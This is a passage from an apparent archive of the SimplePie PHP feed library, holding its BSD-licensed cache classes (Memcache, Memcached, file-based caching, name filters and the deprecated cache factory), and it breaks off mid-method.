 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2022 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

/**
 * Creating a cache filename with callables
 *
 * @package SimplePie
 * @subpackage Caching
 */
final class CallableNameFilter implements NameFilter
{
    /**
     * @var callable
     */
    private $callable;

    public function __construct(callable $callable)
    {
        $this->callable = $callable;
    }

    /**
     * Method to create cache filename with.
     *
     * The returning name MUST follow the rules for keys in PSR-16.
     *
     * @link https://www.php-fig.org/psr/psr-16/
     *
     * The returning name MUST be a string of at least one character
     * that uniquely identifies a cached item, MUST only contain the
     * characters A-Z, a-z, 0-9, _, and . in any order in UTF-8 encoding
     * and MUST not longer then 64 characters. The following characters
     * are reserved for future extensions and MUST NOT be used: {}()/\@:
     *
     * A provided implementing library MAY support additional characters
     * and encodings or longer lengths, but MUST support at least that
     * minimum.
     *
     * @param string $name The name for the cache will be most likly an url with query string
     *
     * @return string the new cache name
     */
    public function filter(string $name): string
    {
        return call_user_func($this->callable, $name);
    }
}
src/Cache/Memcached.php000064400000013033151024210710010706 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

use Memcached as NativeMemcached;

/**
 * Caches data to memcached
 *
 * Registered for URLs with the "memcached" protocol
 *
 * For example, `memcached://localhost:11211/?timeout=3600&prefix=sp_` will
 * connect to memcached on `localhost` on port 11211. All tables will be
 * prefixed with `sp_` and data will expire after 3600 seconds
 *
 * @package    SimplePie
 * @subpackage Caching
 * @author     Paul L. McNeely
 * @uses       Memcached
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class Memcached implements Base
{
    /**
     * NativeMemcached instance
     * @var NativeMemcached
     */
    protected $cache;

    /**
     * Options
     * @var array
     */
    protected $options;

    /**
     * Cache name
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct($location, $name, $type)
    {
        $this->options = [
            'host'   => '127.0.0.1',
            'port'   => 11211,
            'extras' => [
                'timeout' => 3600, // one hour
                'prefix'  => 'simplepie_',
            ],
        ];
        $this->options = array_replace_recursive($this->options, \SimplePie\Cache::parse_URL($location));

        $this->name = $this->options['extras']['prefix'] . md5("$name:$type");

        $this->cache = new NativeMemcached();
        $this->cache->addServer($this->options['host'], (int)$this->options['port']);
    }

    /**
     * Save data to the cache
     * @param array|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if ($data instanceof \SimplePie\SimplePie) {
            $data = $data->data;
        }

        return $this->setData(serialize($data));
    }

    /**
     * Retrieve the data saved to the cache
     * @return array Data for SimplePie::$data
     */
    public function load()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return unserialize($data);
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     * @return int Timestamp
     */
    public function mtime()
    {
        $data = $this->cache->get($this->name . '_mtime');
        return (int) $data;
    }

    /**
     * Set the last modified time to the current time
     * @return bool Success status
     */
    public function touch()
    {
        $data = $this->cache->get($this->name);
        return $this->setData($data);
    }

    /**
     * Remove the cache
     * @return bool Success status
     */
    public function unlink()
    {
        return $this->cache->delete($this->name, 0);
    }

    /**
     * Set the last modified time and data to NativeMemcached
     * @return bool Success status
     */
    private function setData($data)
    {
        if ($data !== false) {
            $this->cache->set($this->name . '_mtime', time(), (int)$this->options['extras']['timeout']);
            return $this->cache->set($this->name, $data, (int)$this->options['extras']['timeout']);
        }

        return false;
    }
}

class_alias('SimplePie\Cache\Memcached', 'SimplePie_Cache_Memcached');
src/Cache/NameFilter.php000064400000006044151024210710011072 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2022 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

/**
 * Interface for creating a cache filename
 *
 * @package SimplePie
 * @subpackage Caching
 */
interface NameFilter
{
    /**
     * Method to create cache filename with.
     *
     * The returning name MUST follow the rules for keys in PSR-16.
     *
     * @link https://www.php-fig.org/psr/psr-16/
     *
     * The returning name MUST be a string of at least one character
     * that uniquely identifies a cached item, MUST only contain the
     * characters A-Z, a-z, 0-9, _, and . in any order in UTF-8 encoding
     * and MUST not longer then 64 characters. The following characters
     * are reserved for future extensions and MUST NOT be used: {}()/\@:
     *
     * A provided implementing library MAY support additional characters
     * and encodings or longer lengths, but MUST support at least that
     * minimum.
     *
     * @param string $name The name for the cache will be most likly an url with query string
     *
     * @return string the new cache name
     */
    public function filter(string $name): string;
}
src/Cache/Memcache.php000064400000012717151024210710010552 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

use Memcache as NativeMemcache;

/**
 * Caches data to memcache
 *
 * Registered for URLs with the "memcache" protocol
 *
 * For example, `memcache://localhost:11211/?timeout=3600&prefix=sp_` will
 * connect to memcache on `localhost` on port 11211. All tables will be
 * prefixed with `sp_` and data will expire after 3600 seconds
 *
 * @package SimplePie
 * @subpackage Caching
 * @uses Memcache
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class Memcache implements Base
{
    /**
     * Memcache instance
     *
     * @var Memcache
     */
    protected $cache;

    /**
     * Options
     *
     * @var array
     */
    protected $options;

    /**
     * Cache name
     *
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct($location, $name, $type)
    {
        $this->options = [
            'host' => '127.0.0.1',
            'port' => 11211,
            'extras' => [
                'timeout' => 3600, // one hour
                'prefix' => 'simplepie_',
            ],
        ];
        $this->options = array_replace_recursive($this->options, \SimplePie\Cache::parse_URL($location));

        $this->name = $this->options['extras']['prefix'] . md5("$name:$type");

        $this->cache = new NativeMemcache();
        $this->cache->addServer($this->options['host'], (int) $this->options['port']);
    }

    /**
     * Save data to the cache
     *
     * @param array|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if ($data instanceof \SimplePie\SimplePie) {
            $data = $data->data;
        }
        return $this->cache->set($this->name, serialize($data), MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
    }

    /**
     * Retrieve the data saved to the cache
     *
     * @return array Data for SimplePie::$data
     */
    public function load()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return unserialize($data);
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int Timestamp
     */
    public function mtime()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            // essentially ignore the mtime because Memcache expires on its own
            return time();
        }

        return false;
    }

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return $this->cache->set($this->name, $data, MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
        }

        return false;
    }

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink()
    {
        return $this->cache->delete($this->name, 0);
    }
}

class_alias('SimplePie\Cache\Memcache', 'SimplePie_Cache_Memcache');
src/Cache/DataCache.php000064400000011167151024210710010643 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2022 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

use InvalidArgumentException;

/**
 * Subset of PSR-16 Cache client for caching data arrays
 *
 * Only get(), set() and delete() methods are used,
 * but not has(), getMultiple(), setMultiple() or deleteMultiple().
 *
 * The methods names must be different, but should be compatible to the
 * methods of \Psr\SimpleCache\CacheInterface.
 *
 * @package SimplePie
 * @subpackage Caching
 * @internal
 */
interface DataCache
{
    /**
     * Fetches a value from the cache.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::get()
     * <code>
     * public function get(string $key, mixed $default = null): mixed;
     * </code>
     *
     * @param string   $key     The unique key of this item in the cache.
     * @param mixed    $default Default value to return if the key does not exist.
     *
     * @return array|mixed The value of the item from the cache, or $default in case of cache miss.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function get_data(string $key, $default = null);

    /**
     * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::set()
     * <code>
     * public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool;
     * </code>
     *
     * @param string   $key   The key of the item to store.
     * @param array    $value The value of the item to store, must be serializable.
     * @param null|int $ttl   Optional. The TTL value of this item. If no value is sent and
     *                                      the driver supports TTL then the library may set a default value
     *                                      for it or let the driver take care of that.
     *
     * @return bool True on success and false on failure.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function set_data(string $key, array $value, ?int $ttl = null): bool;

    /**
     * Delete an item from the cache by its unique key.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::delete()
     * <code>
     * public function delete(string $key): bool;
     * </code>
     *
     * @param string $key The unique cache key of the item to delete.
     *
     * @return bool True if the item was successfully removed. False if there was an error.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function delete_data(string $key): bool;
}
src/Cache/Base.php000064400000007306151024210710007720 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

/**
 * Base for cache objects
 *
 * Classes to be used with {@see \SimplePie\Cache::register()} are expected
 * to implement this interface.
 *
 * @package SimplePie
 * @subpackage Caching
 * @deprecated since SimplePie 1.8.0, use "Psr\SimpleCache\CacheInterface" instead
 */
interface Base
{
    /**
     * Feed cache type
     *
     * @var string
     */
    public const TYPE_FEED = 'spc';

    /**
     * Image cache type
     *
     * @var string
     */
    public const TYPE_IMAGE = 'spi';

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct($location, $name, $type);

    /**
     * Save data to the cache
     *
     * @param array|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data);

    /**
     * Retrieve the data saved to the cache
     *
     * @return array Data for SimplePie::$data
     */
    public function load();

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int Timestamp
     */
    public function mtime();

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch();

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink();
}

class_alias('SimplePie\Cache\Base', 'SimplePie_Cache_Base');
src/Cache/File.php000064400000011374151024210710007725 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

/**
 * Caches data to the filesystem
 *
 * @package SimplePie
 * @subpackage Caching
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class File implements Base
{
    /**
     * Location string
     *
     * @see SimplePie::$cache_location
     * @var string
     */
    protected $location;

    /**
     * Filename
     *
     * @var string
     */
    protected $filename;

    /**
     * File extension
     *
     * @var string
     */
    protected $extension;

    /**
     * File path
     *
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct($location, $name, $type)
    {
        $this->location = $location;
        $this->filename = $name;
        $this->extension = $type;
        $this->name = "$this->location/$this->filename.$this->extension";
    }

    /**
     * Save data to the cache
     *
     * @param array|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if (file_exists($this->name) && is_writable($this->name) || file_exists($this->location) && is_writable($this->location)) {
            if ($data instanceof \SimplePie\SimplePie) {
                $data = $data->data;
            }

            $data = serialize($data);
            return (bool) file_put_contents($this->name, $data);
        }
        return false;
    }

    /**
     * Retrieve the data saved to the cache
     *
     * @return array Data for SimplePie::$data
     */
    public function load()
    {
        if (file_exists($this->name) && is_readable($this->name)) {
            return unserialize(file_get_contents($this->name));
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int Timestamp
     */
    public function mtime()
    {
        return @filemtime($this->name);
    }

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch()
    {
        return @touch($this->name);
    }

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink()
    {
        if (file_exists($this->name)) {
            return unlink($this->name);
        }
        return false;
    }
}

class_alias('SimplePie\Cache\File', 'SimplePie_Cache_File');
src/Cache.php000064400000011363151024210710007044 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

use SimplePie\Cache\Base;

/**
 * Used to create cache objects
 *
 * This class can be overloaded with {@see SimplePie::set_cache_class()},
 * although the preferred way is to create your own handler
 * via {@see register()}
 *
 * @package SimplePie
 * @subpackage Caching
 * @deprecated since SimplePie 1.8.0, use "SimplePie\SimplePie::set_cache()" instead
 */
class Cache
{
    /**
     * Cache handler classes
     *
     * These receive 3 parameters to their constructor, as documented in
     * {@see register()}
     * @var array
     */
    protected static $handlers = [
        'mysql'     => 'SimplePie\Cache\MySQL',
        'memcache'  => 'SimplePie\Cache\Memcache',
        'memcached' => 'SimplePie\Cache\Memcached',
        'redis'     => 'SimplePie\Cache\Redis'
    ];

    /**
     * Don't call the constructor. Please.
     */
    private function __construct()
    {
    }

    /**
     * Create a new SimplePie\Cache object
     *
     * @param string $location URL location (scheme is used to determine handler)
     * @param string $filename Unique identifier for cache object
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $extension 'spi' or 'spc'
     * @return Base Type of object depends on scheme of `$location`
     */
    public static function get_handler($location, $filename, $extension)
    {
        $type = explode(':', $location, 2);
        $type = $type[0];
        if (!empty(self::$handlers[$type])) {
            $class = self::$handlers[$type];
            return new $class($location, $filename, $extension);
        }

        return new \SimplePie\Cache\File($location, $filename, $extension);
    }

    /**
     * Create a new SimplePie\Cache object
     *
     * @deprecated since SimplePie 1.3.1, use {@see get_handler()} instead
     */
    public function create($location, $filename, $extension)
    {
        trigger_error('Cache::create() has been replaced with Cache::get_handler() since SimplePie 1.3.1, use the registry system instead.', \E_USER_DEPRECATED);

        return self::get_handler($location, $filename, $extension);
    }

    /**
     * Register a handler
     *
     * @param string $type DSN type to register for
     * @param class-string<Base> $class Name of handler class. Must implement Base
     */
    public static function register($type, $class)
    {
        self::$handlers[$type] = $class;
    }

    /**
     * Parse a URL into an array
     *
     * @param string $url
     * @return array
     */
    public static function parse_URL($url)
    {
        $params = parse_url($url);
        $params['extras'] = [];
